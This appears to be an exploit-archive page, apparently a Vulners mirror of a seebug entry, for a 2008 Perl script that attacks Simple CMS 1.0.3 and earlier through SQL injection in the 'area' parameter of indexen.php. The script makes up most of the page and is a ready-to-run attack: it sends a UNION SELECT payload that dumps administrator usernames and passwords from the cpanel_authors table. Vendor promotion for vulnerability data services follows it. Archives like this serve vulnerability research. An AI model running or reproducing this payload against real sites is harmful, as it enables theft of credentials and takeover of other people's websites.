Lucene search
K

Simple CMS <= 1.0.3 (indexen.php area) Remote SQL Injection Exploit

🗓️ 17 Feb 2008 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 10 Views

Simple CMS 1.0.3 Remote SQL Injection Exploit. Code by JosS. Spanish Hackers Team / Sys - Project. Contact: [email protected]. Host input required.

Code

                                                #!/usr/bin/perl

# Simple CMS <= 1.0.3 (?area=) Remote SQL Injection Exploit
# Code by JosS
# Contact: sys-project[at]hotmail.com
# Spanish Hackers Team / Sys - Project
# http://www.spanish-hackers.com
# special thanks to ka0x


print "		########################################################

";
print "		#   Simple CMS <= 1.0.3 Remote SQL Injection Exploit   #

";
print "		#                       by JosS                        #

";
print "		########################################################

";

use strict;
use LWP::UserAgent;

my $victim = $ARGV[0];

 if(!$ARGV[0]) {
    print "
[x] Simple CMS <= 1.0.3 Remote SQL Injection Exploit
";
    print "[x] written by JosS - sys-project[at]hotmail.com
";
    print "[x] usage: perl xpl.pl [host]
";
    print "[x] example: http://localhost/path/

";
    exit(1);
 }
 
    print "
[+] connecting in $victim...
";
    my $cnx = LWP::UserAgent->new() or die;
    my $go=$cnx->get($victim."/indexen.php?area=-1+union+select+1,concat(0x5f5f5f5f,0x5b215d20757365723a20,UName,0x20205b215d20706173733a20,PWord,0x5f5f5f5f),3,4,5+from+cpanel_authors/*");
    if ($go->content =~ m/____(.*?)____/ms) {
        print "$1
";
    } else {
        print "
[-] exploit failed
";
    }

# sebug.net
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation